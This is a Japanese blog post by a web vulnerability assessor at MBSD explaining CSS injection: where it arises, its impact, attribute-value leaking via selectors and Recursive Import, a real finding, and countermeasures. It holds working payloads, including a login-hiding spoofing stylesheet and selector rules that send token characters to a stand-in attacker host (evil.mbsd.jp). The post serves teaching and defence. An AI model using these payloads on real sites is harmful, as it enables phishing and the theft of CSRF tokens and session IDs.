本サイトは、快適にご利用いただくためにクッキー(Cookie)を使用しております。
Cookieの使用に同意いただける場合は「同意する」ボタンを押してください。
なお本サイトのCookie使用については、「個人情報保護方針」をご覧ください。
MBSDでWeb脆弱性診断の仕事をしている小山です。
初めてのブログ執筆となりますが、今回はCSSインジェクションという脆弱性について、脆弱性診断の仕事における視点を中心に書きたいと思います。脆弱性の特性上、クロスサイトスクリプティング(XSS)の基礎知識については前提とさせていただきますので、ご了承ください。
ちなみにですが、本記事は元々社内向けのLTとして作成した資料が下敷きになっていますので、弊社内での情報共有活動の一例としても参考にしていただければと思います。(去年にはこんなイベントも行われました)
CSSインジェクションとは
CSSインジェクションは名前の通り、本来のHTMLコンテンツ中には存在しないCSSを攻撃者が注入できる脆弱性です。XSSにおいて注入されるスクリプトが、そのままCSSに置き換わったものという理解でよいと思います。
しかし、この脆弱性診断の仕事においては、この脆弱性に遭遇する機会はあまりありません。というのも、攻撃者が何らかのHTMLをインジェクションすることが可能であるという時点で、ほとんどの場合XSSでの攻撃に発展させることができるからです。また、CSSはあくまでスタイルシートですので、JavaScriptほど攻撃の自由度も高くありません。そのため、CSSインジェクションを脆弱性として報告できるのは、「XSSはできない程度にCSPやサニタイジング等の対策が行われているが、CSSであれば記述することが可能である」というシチュエーションに限られてきます。以下に例を挙げていきます。
- STYLEタグを注入できるケース
まずは当然、STYLEタグが注入できればCSSを記述できます。ただし、そもそもSCRIPTタグなどを注入してJavaScriptを動作させられるのであればXSS攻撃を行えばよいので、一定のタグやイベントハンドラなどが除去されるような状況である必要があります。例として、DOMPurifyという広く使用されているサニタイジング用のライブラリがありますが、こちらはCSSについては入力が許可されているので、XSSは防がれていても、CSSインジェクションなら行える可能性があります。
- CSSのプロパティ内に出力されるケース
例えば以下のような、背景色をユーザが自由に指定できるようなサイト(○○○の箇所に入力値が入る)があり、そこにCSSの特殊記号等が記述できるのであれば、攻撃が可能となります。
<style>
.example { background-color: ○○○; }
</style>
ただし、やはりこちらも、STYLEタグを終端させて新たにSCRIPTタグ等を注入できるのであればXSSが可能ですので、HTMLの特殊記号がエスケープされているなど、CSSの範囲内でしか悪用ができない状況である必要があります。
- RPOができるケース
RPO(Relative Path Overwrite)という攻撃手法があります。HTMLで読み込まれるコンテンツの相対パスの挙動を利用して、本来CSSではないコンテンツをCSSとして読み込ませるというもので、シチュエーションは限定的ですがこちらもCSSインジェクションにつながります。説明が複雑になるので、詳細は弊社のホワイトペーパーをご参照ください。
- LinkヘッダからCSSを読み込ませられるケース
LinkヘッダというHTTPヘッダがあり、この値にユーザの入力値が出力される場合、任意のCSSを読み込ませることが可能です。ただし、脆弱性診断においてこのような報告をするケースは稀だと思います。また、現在LinkヘッダでCSSを読み込ませられるのはFirefoxのみとなっています。検証の際はブラウザの種類やバージョンにもご注意ください。
以上、CSSインジェクションが成立しうるシチュエーションを列挙してみました。ここからは、攻撃による影響について述べていきます。
どのような悪さができるか
- クロスサイトスクリプティング(※古いブラウザのみ)
古いバージョンのIEでは、以下のように記述することで、CSSのexpressionという関数を用いてスクリプトを動作させることができました。現在IEのサポートは終了していますので、この手法で報告を行うことはないでしょう。(基本的には…)
x:expression(alert(URL=1));
- 不正なコンテンツの挿入(Content Spoofing)
次に、フィッシングやサービスの妨害につながるようなコンテンツの書き換えが考えられます。
body {
background-color: white; /* ここから攻撃者のペイロード */
}
#login_form{
display: none; /* 元々あるフォームを隠す */
}
body::after{ /* after疑似要素でbodyの後ろにコンテンツを挿入 */
content: "Change URL. Please move here => http://evil.mbsd.jp/";
/* 攻撃者のサイトに誘導 */
}
例として、先ほどと同様に背景色をユーザが自由に指定できるようなサイトがあるとして、上記のようなCSSを注入すると、サイトの見た目はどうなるでしょうか。当該画面がログインページだとすると、元々あったログインフォームが隠され、その代わりに攻撃者のサイトに誘導するような文言が挿入されることになります。また、そこまでしなくても、既存のコンテンツを画面上利用できなくすれば、サービス妨害としての効果は十分あります。XSSにおけるコンテンツ改ざんほどの表現力はありませんが、似たような攻撃が可能と言えるでしょう。
- 情報の窃取(Data Leakage)
最後に、CSSを通じて、画面内のデータを外部に送信するという攻撃があります。XSSの代表的な悪用例として、「被害者のセッションIDを窃取し、なりすましに用いる」というものがありますが、それに似たものとして捉えていただければと思います。
情報の窃取(Data Leakage)は、「HTML要素のどの部分をリークさせるか」によってさらに2種類に分けられます。
- 属性値をリークさせる
- テキストノード(タグに囲まれた間の文字列)をリークさせる
どちらかというと前者の方が原理として理解しやすく、脆弱性診断の仕事でも出番があるかと思いますので、今回は「属性値リーク」の手法を詳しく解説していきます。
属性値リーク手法の基本原理
CSSでは、セレクタによってスタイルを適用する要素を指定します。このセレクタの記法は柔軟で、例えば、<input type="text" value="secret">
のような要素を属性値をもとに指定したい場合、下記のいずれの属性セレクタの書き方でもマッチさせることができます。
input[value="secret"]{ ... } /* 完全一致 */
input[value^="s"]{ ... } /* 先頭一致 */
input[value$="t"]{ ... } /* 末尾一致 */
input[value*="r"]{ ... } /* 部分一致 */
また、backgroundプロパティを用いれば、外部URLに通信を飛ばすこともできます。これらを併用し、以下のようなCSSを注入することで、value属性値の1文字目を攻撃者のエンドポイントにリークさせることが可能となります。
input[value^='a']{ background: url(http://evil.mbsd.jp?token=a) }
input[value^='b']{ background: url(http://evil.mbsd.jp?token=b) }
input[value^='c']{ background: url(http://evil.mbsd.jp?token=c) }
...(中略)...
input[value^='z']{ background: url(http://evil.mbsd.jp?token=z) }
CSSでは、セレクタにマッチしたプロパティだけが評価されますので、上記のCSSを注入した場合、属性値secret
の1文字目、sにマッチした行のbackgroundプロパティのみ動作します。これにより、攻撃者は属性値の1文字目がsであることを知ることができます。
1文字目がリーク出来れば、後は同じ要領で2文字目以降も窃取していきます。
input[value^='sa']{ background: url(http://evil.mbsd.jp?token=sa) }
input[value^='sb']{ background: url(http://evil.mbsd.jp?token=sb) }
input[value^='sc']{ background: url(http://evil.mbsd.jp?token=sc) }
...(中略)...
input[value^='sz']{ background: url(http://evil.mbsd.jp?token=sz) }
このように、探索する文字を1つずつ増やしていくことで、最終的にvalue="secret"
全体をリークさせることができる、というのが属性値リーク手法の基本原理です。
属性値リーク手法の落とし穴
そんな属性値リーク手法ですが、いくつか注意点があります。
①1文字目が数値の場合
例えば<input type="text" value="12345">
のような要素のvalue属性値をリークさせたいとして、input[value^=1]
のようなセレクタの書き方だと攻撃が失敗します。CSSのセレクタでは、1文字目が数値だと文字列としてきちんと解釈されないためです。
- 回避策1:属性値を引用符で囲む
この問題は、input[value^="1"]
のように数値を引用符で囲むことで簡単に回避できます。ただし、冒頭で説明したように、CSSインジェクションの出番があるのはHTMLの特殊記号がエスケープされているようなケースが主ですので、常に引用符が使えるとは限りません。
- 回避策2:Unicodeコードポイントで表す
そこでより汎用的な方法として、数値をinput[value^=\31]
のようにUnicodeのコードポイントで表現するというものがあります。こちらであれば引用符で囲む必要はありませんし、他の記号等も記述しやすくなるため、個人的にもおすすめです。
②input[type=hidden] の場合
属性値リークの活用例として、「クロスサイトリクエストフォージェリ(CSRF)対策用トークンを窃取できる」ことがよく挙げられますが、一般的にCSRFトークンはinput[type=hidden]
で埋め込まれています。このような「画面上に表示されない要素」に対しては、セレクタがマッチしたとしても適用できるスタイルが無いため、モダンブラウザでは先ほどの説明のようにbackgroundプロパティで通信を飛ばすことができないという問題があります。
- 回避策:一般兄弟結合子
~
などを使う
この問題は、CSSの結合子を利用することで多くの場合回避できます。例として、下記のようなHTMLがあり、input[type=hidden]
のvalue属性値を窃取したいとします。
<input type="hidden" value="secret">
<p>secret message is hidden</p>
この場合、input[value^="s"] ~ * { ... }
のように書くことで、「属性値の先頭がsから始まる要素の兄弟要素」にスタイルが適用されることになります。この挙動を利用することで、input[type=hidden]
の要素であっても値を窃取することができます。よほどのことが無い限りは、セレクタ等の書き方を工夫することで回避することができると思われます。
ちなみに、本稿執筆時点のFirefoxでは、input[type=text]
であってもbackgroundでの通信が飛ばないことを確認していますが、同じく本手法により回避することが可能です。CSS周りのブラウザの挙動は気づかない間に変わっていることがあるため、検証の際はご注意ください。
Recursive Importについて
以上、CSSインジェクションの属性値リークについてみてきましたが、この手法が考え出された当初のPoCにはいくつか課題がありました。というのも、目的の文字列全体をリークさせるためには、長大なペイロードを注入したり、被害者に罠ページを踏ませて大量のiframeを開かせたりする必要があったからです。(とはいえ、脆弱性診断の仕事では文字列全体のリークまでは求められないかもしれませんが)
そこで考案されたのが、Recursive Importという手法です。CSSには@ルールという構文があり、そのうち@importという@ルールを用いると、外部のCSSファイルをロードすることが可能となります。そして実は、@importで読み込んだ先のCSSでさらに@importを使用するというような、入れ子的なロードのさせ方もできます。(再帰的にインポートを行う)
本挙動を利用すれば、以下の手順で文字列全体をリークさせることができます。
- 最初に1行の@importを読み込ませる(リソースの取得先は攻撃者のサーバ)
- そのレスポンスでさらに窃取したい文字数分の@importを読み込ませる
- 1文字目をリークさせるためのCSSのみ生成し、ブラウザに返却する(残りの@importのレスポンスは待機させておく)
- 1文字目が攻撃者のサーバに送信されてくるので、ここでようやく2文字目リーク用のCSSを生成し、返却する
- 文字列全体が取得できるまでこれを繰り返す
これにより、最初にたった1行のCSSさえ注入することができれば、画面をリロードさせることもなく、短時間で文字列全体をリークさせることが可能となりました。ただし、以下の条件がありますので、その点は注意が必要です。
- サーバを用意する必要がある
当然ながら、CSSを順次生成するようなWebアプリケーションサーバを攻撃者が用意する必要があります。
- @importはCSS内の先頭に書く必要がある
@importは原則CSSの先頭行に記述しないと動作しません。そのため、本手法は入力値がプロパティ値の途中に挿入されるようなケースだと使えないことになります。
- Google Chromeなど、CSSを非同期でロードするブラウザでしか使えない
モダンブラウザの中だとFirefoxはCSSを同期的にロードします。つまり先ほどの図のように1文字目をリークさせる間に2文字目以降のCSSのレスポンスを待たせておくというようなことがうまくできません。ただし、この問題を回避する手法も考案されています。
ツール紹介
Recursive Importを用いた属性値リークの効率化ツールです。どちらも有用ですが、後者のonsenは:first-childというCSS疑似クラスを用いることでより効率化を図っています。開発者の方の解説記事もありますので、ぜひご参照ください。
検出事例紹介
おまけとして、私が実際に属性値リークによるCSSインジェクションを検出した事例を紹介しておきます。詳細は伏せますが、対象のWebサイトには以下の特徴がありました。
- HTMLタグの入力が許容されている箇所があるが、DOMPurifyでXSS対策を行っている
- 画面上のA要素のhref属性値内に、セッションIDをBase64エンコードした値が含まれている
<a class="file" href="/files/test.png?token=eyJzZXNzaW9uSWQiOiJ0ZXN0In0%3D">
こうしたケースで先ほどのツールを用いることにより、セッションIDを窃取することが可能でした。CSSインジェクションが活用できる状況としてはかなり理想的だったのではないかと思います。
対策
最後に、本脆弱性の対策について書いて終わりにしたいと思います。
- クライアントサイドでの対策
- CSPのscript-srcやstyle-srcディレクティブを使用し、インラインでのCSSの記述や外部CSSのロードを制限する
- サーバサイドでの対策
- バックスラッシュでCSSの特殊記号をエスケープする
- 使えるプロパティ等をホワイトリストで制限する
- CSSの生成にユーザの入力値を使用する実装を避ける
XSSについては開発者の間でも有名な脆弱性として浸透しているかと思いますが、CSSインジェクションに関しては、そもそもCSSを外部から注入されることをリスクとして考慮できていないというケースもまだまだ多いかと思います。実際のところ、XSSに比べると悪用できるシチュエーションは限定的になってきますが、条件が重なれば十分な脅威となりますので、本記事が理解を深めるうえで一助となれば幸いです。
長くなりましたが本記事は以上となります。テキストノードリークの手法については今回省略してしまいましたので、もし機会があれば書きたいと思います。
おすすめ記事